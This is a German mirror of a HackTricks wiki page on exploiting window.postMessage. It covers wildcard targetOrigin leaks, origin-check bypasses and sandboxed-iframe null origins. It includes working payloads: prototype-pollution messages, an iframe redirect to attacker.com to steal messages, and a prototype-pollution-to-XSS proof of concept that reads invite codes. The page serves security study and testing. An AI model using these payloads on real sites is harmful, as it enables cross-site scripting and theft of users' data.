mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
12 KiB
Markdown
228 lines
12 KiB
Markdown
# PostMessage-Sicherheitsanfälligkeiten
|
||
|
||
## PostMessage-Sicherheitsanfälligkeiten
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Sende **PostMessage**
|
||
|
||
**PostMessage** verwendet die folgende Funktion, um eine Nachricht zu senden:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Beachten Sie, dass **targetOrigin** ein '\*' oder eine URL wie _https://company.com._ sein kann.\
|
||
Im **zweiten Szenario** kann die **Nachricht nur an diese Domain gesendet werden** (auch wenn der Ursprung des Window-Objekts unterschiedlich ist).\
|
||
Wenn das **Wildcard** verwendet wird, können **Nachrichten an jede Domain gesendet werden** und werden an den Ursprung des Window-Objekts gesendet.
|
||
|
||
### Angreifen von iframe & Wildcard in **targetOrigin**
|
||
|
||
Wie in [**diesem Bericht**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) erklärt, wenn Sie eine Seite finden, die **iframed** werden kann (keine `X-Frame-Header`-Schutz) und die **sensible** Nachrichten über **postMessage** mit einem **Wildcard** (\*) sendet, können Sie den **Ursprung** des **iframes** **ändern** und die **sensible** Nachricht an eine von Ihnen kontrollierte Domain **leaken**.\
|
||
Beachten Sie, dass, wenn die Seite iframed werden kann, aber **targetOrigin** auf eine URL und nicht auf ein Wildcard **gesetzt ist**, dieser **Trick nicht funktioniert**.
|
||
```markup
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## addEventListener Ausnutzung
|
||
|
||
**`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** **erwartet**.\
|
||
Ein ähnlicher Code wie der folgende wird verwendet:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
Hinweis in diesem Fall, wie das **erste, was** der Code tut, ist **die Herkunft zu überprüfen**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel).
|
||
|
||
### Aufzählung
|
||
|
||
Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
|
||
|
||
- **Durchsuchen** Sie den JS-Code nach `window.addEventListener` und `$(window).on` (_JQuery-Version_)
|
||
- **Ausführen** Sie in der Konsole der Entwicklertools: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- **Gehen Sie zu** _Elements --> Event Listeners_ in den Entwicklertools des Browsers
|
||
|
||
.png>)
|
||
|
||
- Verwenden Sie eine **Browsererweiterung** wie [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) oder [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Diese Browsererweiterungen werden **alle Nachrichten abfangen** und Ihnen anzeigen.
|
||
|
||
### Herkunftsüberprüfungsumgehungen
|
||
|
||
- Das **`event.isTrusted`** Attribut gilt als sicher, da es `True` nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert.
|
||
- Die Verwendung von **`indexOf()`** zur Herkunftsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was nicht ein regexp ist, führt zu einer impliziten Umwandlung in regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regex ein Punkt (.) als Platzhalter fungiert, was eine Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet regex. Wenn das regex unsachgemäß strukturiert ist, könnte es anfällig für Umgehungen sein.
|
||
- Die **`escapeHtml`** Funktion soll Eingaben durch Escape-Zeichen bereinigen. Sie erstellt jedoch kein neues escaped Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft `hasOwnProperty` nicht anerkennt, wird die `escapeHtml` nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:
|
||
|
||
- Erwarteter Fehler:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- Umgehung des Escapes:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
Im Kontext dieser Schwachstelle ist das `File` Objekt aufgrund seiner schreibgeschützten `name` Eigenschaft besonders ausnutzbar. Diese Eigenschaft wird in Vorlagen verwendet und nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
|
||
|
||
- Die `document.domain` Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht.
|
||
|
||
### e.origin == window.origin Umgehung
|
||
|
||
Beim Einbetten einer Webseite in ein **sandboxed iframe** mit %%%%%% ist es wichtig zu verstehen, dass die Herkunft des iframes auf null gesetzt wird. Dies ist besonders wichtig, wenn es um **Sandbox-Attribute** und deren Auswirkungen auf Sicherheit und Funktionalität geht.
|
||
|
||
Durch die Angabe von **`allow-popups`** im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das **`allow-popups-to-escape-sandbox`** Attribut ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf `null` gesetzt wird, was mit der Herkunft des iframes übereinstimmt.
|
||
|
||
Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** wahr ist (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen.
|
||
|
||
Für weitere Informationen **lesen** Sie:
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### Umgehung von e.source
|
||
|
||
Es ist möglich zu überprüfen, ob die Nachricht vom selben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
Sie können **`e.source`** einer Nachricht auf null setzen, indem Sie ein **iframe** erstellen, das die **postMessage** sendet und **sofort gelöscht** wird.
|
||
|
||
Für weitere Informationen **lesen Sie:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### X-Frame-Header Umgehung
|
||
|
||
Um diese Angriffe durchzuführen, sollten Sie idealerweise in der Lage sein, die **Opfer-Webseite** in ein `iframe` einzufügen. Aber einige Header wie `X-Frame-Header` können dieses **Verhalten** **verhindern**.\
|
||
In diesen Szenarien können Sie dennoch einen weniger stealthy Angriff verwenden. Sie können einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:
|
||
```markup
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Stehlen von Nachrichten, die an das Kind gesendet werden, indem die Hauptseite blockiert wird
|
||
|
||
In der folgenden Seite sehen Sie, wie Sie **sensible postmessage-Daten** stehlen können, die an ein **Kind-iframe** gesendet werden, indem Sie die **Hauptseite** blockieren, bevor die Daten gesendet werden, und eine **XSS im Kind** ausnutzen, um die Daten zu **leaken**, bevor sie empfangen werden:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### Stehlen von Nachrichten durch Ändern des iframe-Standorts
|
||
|
||
Wenn Sie eine Webseite ohne X-Frame-Header, die ein anderes iframe enthält, einfügen können, können Sie **den Standort dieses Kind-iframe** ändern. Wenn es eine **postmessage** empfängt, die mit einem **Wildcard** gesendet wird, könnte ein Angreifer **den Ursprung** dieses iframes auf eine von ihm **kontrollierte** Seite **ändern** und die Nachricht **stehlen**:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage zu Prototype Pollution und/oder XSS
|
||
|
||
In Szenarien, in denen die über `postMessage` gesendeten Daten von JS ausgeführt werden, können Sie die **Seite** **iframe** und die **Prototype Pollution/XSS** ausnutzen, indem Sie den Exploit über `postMessage` senden.
|
||
|
||
Ein paar **sehr gut erklärte XSS über `postMessage`** finden Sie unter [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
|
||
Beispiel eines Exploits, um **Prototype Pollution und dann XSS** über eine `postMessage` an ein `iframe` auszunutzen:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Für **weitere Informationen**:
|
||
|
||
- Link zur Seite über [**Prototype Pollution**](../deserialization/nodejs-proto-prototype-pollution/)
|
||
- Link zur Seite über [**XSS**](../xss-cross-site-scripting/)
|
||
- Link zur Seite über [**Client Side Prototype Pollution zu XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||
|
||
## Referenzen
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- Zum Üben: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|